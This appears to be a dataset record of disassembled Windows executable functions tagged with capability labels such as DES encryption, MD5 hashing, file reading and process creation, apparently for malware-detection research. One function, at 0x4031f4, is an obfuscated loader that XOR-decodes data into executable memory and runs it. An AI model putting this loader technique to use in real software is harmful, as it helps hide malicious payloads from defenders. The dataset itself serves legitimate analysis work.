joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46cc60
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
movzx eax, byte [ebx + 0x4b52b8]
dec eax
mov edx, eax
and edx, reloc.OLEAUT32.dll_VariantInit
jns 0x46cc88
dec edx
or edx, 0xfffffff8
inc edx
mov dword [ebp - 8], edx
mov ecx, 7
sub ecx, edx
mov byte [ebp - 1], 1
mov ch, byte [ebp - 1]
cdq
shl ch, cl
and edx, 7
add eax, edx
mov cl, 7
sub cl, byte [ebp - 8]
mov edx, ebx
sar eax, 3
shr edx, 3
and ch, byte [eax + edi]
mov al, bl
and al, 7
shr ch, cl
mov cl, 7
sub cl, al
mov eax, ebx
shl ch, cl
and eax, 7
mov byte [ebp - 1], ch
inc ebx
mov ecx, 7
sub ecx, eax
mov al, 1
shl al, cl
not al
and al, byte [edx + esi]
or al, byte [ebp - 1]
mov byte [edx + esi], al
cmp ebx, 0x30
jb 0x46cc71
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x46d700
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x4b5870]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x5c]
push edi
mov edi, dword [ebp + 8]
push 0x58
push 0
push eax
call fcn.00470210
push dword [ebp + 0x10]
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x48], 0
push esi
push eax
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x5c], 0x67452301
mov dword [ebp - 0x58], 0xefcdab89
mov dword [ebp - 0x54], 0x98badcfe
mov dword [ebp - 0x50], 0x10325476
call fcn.0046d650
lea eax, [ebp - 0x5c]
push edi
push eax
call fcn.0046ce50
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop edi
pop esi
call fcn.0046f685
mov esp, ebp
pop ebp
ret

Function at 0x46d780
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 4]
sub eax, 0
je 0x46d79a
dec eax
jne 0x46d7a3
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.0046d7b0
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.0046d880
pop ebp
ret

Function at 0x46d880
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4b5870]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 8
lea eax, [ebp - 0xc]
push eax
push dword [ebx + 0x78]
call fcn.0047799a
mov edi, eax
add esp, 0xc
mov esi, edi
test edi, edi
jle 0x46d923
nop
cmp esi, 8
jge 0x46d8d8
mov eax, 8
sub eax, edi
push eax
lea eax, [ebp - 0xc]
add eax, edi
push eax
push dword [ebx + 0x78]
call fcn.0047799a
mov edi, eax
add esp, 0xc
test edi, edi
jle 0x46d8d8
add esi, edi
jmp 0x46d8b0
test esi, esi
jle 0x46d91b
mov ecx, 8
sub ecx, esi
test ecx, ecx
jle 0x46d900
mov eax, 8
sub eax, ecx
mov edi, edi
cmp eax, 8
jae 0x46d934
mov byte [ebp + eax - 0xc], 0
dec ecx
inc eax
test ecx, ecx
jg 0x46d8f0
lea eax, [ebp - 0xc]
push eax
push ebx
call fcn.0046d940
push 8
lea eax, [ebp - 0xc]
push eax
push dword [ebx + 0x7c]
call fcn.00475b81
add esp, 0x14
test edi, edi
jg 0x46d896
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046f685
mov esp, ebp
pop ebp
ret
call fcn.00471d10
int3
Function at 0x46da80
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [ecx]
xor edi, edi
mov dword [ebp - 8], eax
mov ebx, 8
xor edx, edx
mov eax, edi
div ebx
mov dword [ebp - 0xc], edx
lea esi, [eax + ecx]
movzx eax, byte [edi + 0x4b5400]
dec eax
mov ebx, eax
and ebx, reloc.OLEAUT32.dll_VariantInit
jns 0x46dabb
dec ebx
or ebx, 0xfffffff8
inc ebx
mov ecx, 7
mov dl, 1
sub ecx, ebx
inc edi
shl dl, cl
mov cl, 7
mov byte [ebp - 1], dl
sub cl, bl
cdq
mov ebx, 8
and edx, 7
add eax, edx
mov dl, byte [ebp - 1]
sar eax, 3
and dl, byte [ebp + eax - 8]
mov eax, dword [ebp - 0xc]
shr dl, cl
mov cl, 7
sub cl, al
shl dl, cl
mov ecx, 7
sub ecx, eax
mov al, 1
shl al, cl
mov ecx, dword [ebp + 8]
not al
and al, byte [esi]
or dl, al
mov byte [esi], dl
cmp edi, 0x30
jl 0x46da98
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x46db10
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4b5870]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [ecx]
xor edi, edi
mov dword [ebp - 0xc], eax
mov ebx, 8
mov eax, dword [ecx + 4]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 8], eax
jmp 0x46db40
xor edx, edx
mov eax, edi
div ebx
mov dword [ebp - 0x14], edx
lea esi, [eax + ecx]
movzx eax, byte [edi + str.:2_]
dec eax
mov ebx, eax
and ebx, reloc.OLEAUT32.dll_VariantInit
jns 0x46db63
dec ebx
or ebx, 0xfffffff8
inc ebx
mov ecx, 7
mov dl, 1
sub ecx, ebx
inc edi
shl dl, cl
mov cl, 7
mov byte [ebp - 0xd], dl
sub cl, bl
cdq
mov ebx, 8
and edx, 7
add eax, edx
mov dl, byte [ebp - 0xd]
sar eax, 3
and dl, byte [ebp + eax - 0xc]
mov eax, dword [ebp - 0x14]
shr dl, cl
mov cl, 7
sub cl, al
shl dl, cl
mov ecx, 7
sub ecx, eax
mov al, 1
shl al, cl
mov ecx, dword [ebp - 0x18]
not al
and al, byte [esi]
or dl, al
mov byte [esi], dl
cmp edi, 0x40
jl 0x46db40
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046f685
mov esp, ebp
pop ebp
ret
Function at 0x46dbd0
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4b5870]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [ecx]
xor edi, edi
mov dword [ebp - 0xc], eax
mov ebx, 8
mov eax, dword [ecx + 4]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 8], eax
jmp 0x46dc00
xor edx, edx
mov eax, edi
div ebx
mov dword [ebp - 0x14], edx
lea esi, [eax + ecx]
movzx eax, byte [edi + 0x4b53c0]
dec eax
mov ebx, eax
and ebx, reloc.OLEAUT32.dll_VariantInit
jns 0x46dc23
dec ebx
or ebx, 0xfffffff8
inc ebx
mov ecx, 7
mov dl, 1
sub ecx, ebx
inc edi
shl dl, cl
mov cl, 7
mov byte [ebp - 0xd], dl
sub cl, bl
cdq
mov ebx, 8
and edx, 7
add eax, edx
mov dl, byte [ebp - 0xd]
sar eax, 3
and dl, byte [ebp + eax - 0xc]
mov eax, dword [ebp - 0x14]
shr dl, cl
mov cl, 7
sub cl, al
shl dl, cl
mov ecx, 7
sub ecx, eax
mov al, 1
shl al, cl
mov ecx, dword [ebp - 0x18]
not al
and al, byte [esi]
or dl, al
mov byte [esi], dl
cmp edi, 0x40
jl 0x46dc00
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046f685
mov esp, ebp
pop ebp
ret
Function at 0x46dc90
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [edi], 0
movzx edx, byte [esi]
mov ecx, edx
mov eax, edx
shr ecx, 4
and eax, 1
and ecx, 2
shr edx, 1
or ecx, eax
and edx, 0xf
add ecx, ecx
movzx eax, byte [edx + ecx*8 + 0x4b5450]
shl al, 4
or byte [edi], al
movzx edx, byte [esi + 1]
mov ecx, edx
mov eax, edx
shr ecx, 4
and eax, 1
and ecx, 2
shr edx, 1
or ecx, eax
and edx, 0xf
add ecx, ecx
movzx eax, byte [edx + ecx*8 + 0x4b5490]
or byte [edi], al
movzx edx, byte [esi + 2]
mov ecx, edx
mov eax, edx
shr ecx, 4
and eax, 1
and ecx, 2
shr edx, 1
or ecx, eax
and edx, 0xf
add ecx, ecx
movzx eax, byte [edx + ecx*8 + 0x4b54d0]
shl al, 4
or byte [edi + 1], al
movzx edx, byte [esi + 3]
mov ecx, edx
mov eax, edx
shr ecx, 4
and eax, 1
and ecx, 2
shr edx, 1
or ecx, eax
and edx, 0xf
add ecx, ecx
movzx eax, byte [edx + ecx*8 + 0x4b5510]
or byte [edi + 1], al
movzx edx, byte [esi + 4]
mov ecx, edx
mov eax, edx
shr ecx, 4
and eax, 1
and ecx, 2
shr edx, 1
or ecx, eax
and edx, 0xf
add ecx, ecx
movzx eax, byte [edx + ecx*8 + 0x4b5550]
shl al, 4
or byte [edi + 2], al
movzx edx, byte [esi + 5]
mov ecx, edx
mov eax, edx
shr ecx, 4
and eax, 1
and ecx, 2
shr edx, 1
or ecx, eax
and edx, 0xf
add ecx, ecx
movzx eax, byte [edx + ecx*8 + 0x4b5590]
or byte [edi + 2], al
movzx edx, byte [esi + 6]
mov ecx, edx
mov eax, edx
shr ecx, 4
and eax, 1
and ecx, 2
shr edx, 1
or ecx, eax
and edx, 0xf
add ecx, ecx
movzx eax, byte [edx + ecx*8 + 0x4b55d0]
shl al, 4
or byte [edi + 3], al
movzx edx, byte [esi + 7]
mov ecx, edx
mov eax, edx
shr ecx, 4
and eax, 1
and ecx, 2
shr edx, 1
or ecx, eax
and edx, 0xf
add ecx, ecx
movzx eax, byte [edx + ecx*8 + 0x4b5610]
or byte [edi + 3], al
xor ebx, ebx
mov eax, dword [edi]
mov dword [ebp - 4], eax
lea ecx, [ecx]
movzx eax, byte [ebx + 0x4b5430]
mov esi, ebx
dec eax
shr esi, 3
mov edx, eax
and edx, reloc.OLEAUT32.dll_VariantInit
jns 0x46ddfc
dec edx
or edx, 0xfffffff8
inc edx
mov dword [ebp - 8], edx
mov ecx, 7
sub ecx, edx
mov dl, 1
shl dl, cl
mov cl, 7
sub cl, byte [ebp - 8]
mov byte [ebp + 0xb], dl
cdq
and edx, 7
add eax, edx
mov dl, byte [ebp + 0xb]
sar eax, 3
and dl, byte [ebp + eax - 4]
mov al, bl
shr dl, cl
and al, 7
mov cl, 7
sub cl, al
mov eax, ebx
and eax, 7
shl dl, cl
mov ecx, 7
inc ebx
sub ecx, eax
mov al, 1
shl al, cl
not al
and al, byte [esi + edi]
or dl, al
mov byte [esi + edi], dl
cmp ebx, 0x20
jl 0x46dde0
mov ecx, dword [ebp + 0x10]
movzx eax, byte [ecx]
xor byte [edi], al
movzx eax, byte [ecx + 1]
xor byte [edi + 1], al
movzx eax, byte [ecx + 2]
xor byte [edi + 2], al
movzx eax, byte [ecx + 3]
xor byte [edi + 3], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48b835
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4b5870]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00479da9
mov dword [ebp - 0x14], eax
cmp dword [0x4ba820], esi
jne 0x48b928
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x48b8b5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x48ba08
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x48ba08
push 0x4a2c64
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x48ba08
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4ba820], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4ba824], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4ba828], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4ba830], eax
test eax, eax
je 0x48b925
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4ba82c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x48b94d
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x48b940
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x48b962
push 4
pop eax
jmp 0x48ba0a
cmp dword [ebp - 0x14], esi
je 0x48b962
push dword [0x4ba820]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x48b947
mov eax, dword [0x4ba82c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x48b9c0
cmp dword [0x4ba830], edi
je 0x48b9c0
push eax
call ebx
push dword [0x4ba830]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x48b9c0
test eax, eax
je 0x48b9c0
call ecx
test eax, eax
je 0x48b9b5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x48b9b5
test byte [ebp - 8], 1
jne 0x48b9c0
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x48b9f0
mov eax, dword [0x4ba824]
cmp eax, edi
je 0x48b9ed
push eax
call ebx
test eax, eax
je 0x48b9ed
call eax
mov esi, eax
test esi, esi
je 0x48b9ed
mov eax, dword [0x4ba828]
cmp eax, edi
je 0x48b9ed
push eax
call ebx
test eax, eax
je 0x48b9ed
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4ba820]
call ebx
test eax, eax
je 0x48ba08
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x48ba0a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046f685
mov esp, ebp
pop ebp
ret
Function at 0x49232a
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 0xc]
mov eax, 0x1505
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 0x38]
add ebx, ecx
cmp esi, 0x102
jae 0x492424
test esi, esi
je 0x492424
xor edx, edx
mov dword [ebp - 4], edx
test esi, esi
je 0x492378
mov edi, edx
movzx ecx, byte [edi + ebx]
imul eax, eax, 0x21
add eax, ecx
inc edi
cmp edi, esi
jb 0x492364
mov edi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
and eax, 0xff
mov ebx, dword [edi + eax*4 + 0x60]
mov dword [edi + eax*4 + 0x60], ecx
mov dword [edi + 0x474], edx
test ebx, ebx
je 0x492424
sub ecx, ebx
cmp ecx, esi
jbe 0x492424
mov eax, dword [edi + 0x2c]
sub eax, 0x106
cmp ecx, eax
jae 0x492424
cmp esi, dword [edi + 0x478]
ja 0x492424
test esi, esi
je 0x4923fd
mov ecx, dword [ebp + 0xc]
mov edx, ebx
mov eax, dword [edi + 0x38]
add eax, ecx
sub edx, ecx
mov dword [ebp + 8], edx
mov edx, dword [ebp - 4]
mov dword [ebp + 0xc], eax
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov al, byte [eax]
cmp al, byte [esi + ecx]
mov esi, dword [ebp + 0x10]
jne 0x492424
lea eax, [ebx + edx]
push eax
push edi
call fcn.00492258
pop ecx
pop ecx
cmp eax, 1
jne 0x492424
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
inc edx
inc eax
mov dword [ebp - 4], edx
mov dword [ebp + 0xc], eax
cmp edx, esi
jb 0x4923ca
mov eax, dword [edi + 0x38]
lea ecx, [ebx + esi]
cmp byte [ecx + eax - 1], 0x3b
je 0x49241a
lea eax, [ebx + esi]
push eax
push edi
call fcn.00492258
pop ecx
pop ecx
test eax, eax
jne 0x492424
mov dword [edi + 0x474], ebx
mov eax, esi
jmp 0x492426
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x492fb6
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x492fc3
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.00492fc9
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x403203
pop dword [ebp - 0x18]
mov eax, 0x87b38afd
sub eax, 0x877358fa
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x5b1c824b
sub dword [ebp - 0x28], 0xcca3d00
mov dword [ebp - 0x24], 0x847166b9
sub dword [ebp - 0x24], 0x523e1a74
mov dword [ebp - 0x20], 0x37befcfc
sub dword [ebp - 0x20], 0xeb72b8ce
mov dword [ebp - 0x1c], 0xf307165a
sub dword [ebp - 0x1c], 0xf307165a
lea eax, [ebp - 0x28]
push eax
mov eax, 0xb900d7fc
sub eax, 0xb8c05770
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x6422c192
sub dword [ebp - 0x28], 0xefb0583c
mov dword [ebp - 0x24], 0x25a9b392
sub dword [ebp - 0x24], 0xe43d521d
mov dword [ebp - 0x20], 0xdc13be06
sub dword [ebp - 0x20], 0x78a4519a
mov dword [ebp - 0x1c], 0x2b204f98
add dword [ebp - 0x1c], 0xd4dfb068
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xf7ea0600
add eax, 0x8567ad4
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3b0f5
push 0
call eax
mov ecx, 0x2263e4e2
sub ecx, 0x22638b05
mov edx, eax
mov esi, 0x411000
add esi, dword [ebp - 0x18]
mov ebx, 0xeb10821d
xor dword [ebp - 8], 0x957412e9
mov edi, dword [esi]
add dword [ebp - 0xc], 0x426196aa
xor edi, ebx
add dword [ebp - 4], 0x4f4a4b9c
mov dword [edx], edi
xor dword [ebp - 0x10], 0x2999553f
add edx, 4
add esi, 0x11726909
sub esi, 0x11726905
loop 0x403319
add eax, 0xafdd20d8
add eax, 0x5024396f
mov ebx, eax
add eax, 0xa87ac106
add eax, 0x57853eff
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x42b750
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b788b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004ac069
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x42b7d2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004a9f17
mov eax, dword [eax]
push 0x679d24
push eax
call fcn.0049bea4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004ac2f4
test bl, bl
je 0x42b7d2
push 0x679d24
lea ecx, [esp + 0xc]
call fcn.004ac684
push 0x679d30
lea ecx, [esp + 0xc]
call fcn.004ac684
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42b80e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004ac2f4
jmp 0x42b8d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x42b892
lea edx, [esp + 0x7c]
push 0x679d2c
push edx
call fcn.0049bea4
add esp, 8
test eax, eax
je 0x42b892
lea eax, [esp + 0x7c]
push 0x679d28
push eax
call fcn.0049bea4
add esp, 8
test eax, eax
je 0x42b892
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x42b822
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004ac2f4
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x42c0e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x42c142
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x42c150
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b790b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x6891a8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x42c288
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x42c1b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ac2f4
xor eax, eax
jmp 0x42c2ff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004ac431
push esi
lea ecx, [esp + 0xc]
call fcn.004ac6c0
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42c2dd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0042c0e0
test eax, eax
jne 0x42c2dd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0042c0e0
test eax, eax
jne 0x42c2dd
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.0049cff0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42c2bc
lea ecx, [esp + 0x14]
push 0x679d3c
push ecx
call fcn.0049cf70
mov esi, eax
add esp, 8
test esi, esi
jne 0x42c2bc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42c2bf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004ac3e1
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42c1ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ac2f4
xor eax, eax
jmp 0x42c2ff
mov byte [esi], 0
push 0x679d38
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004ac2f4
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4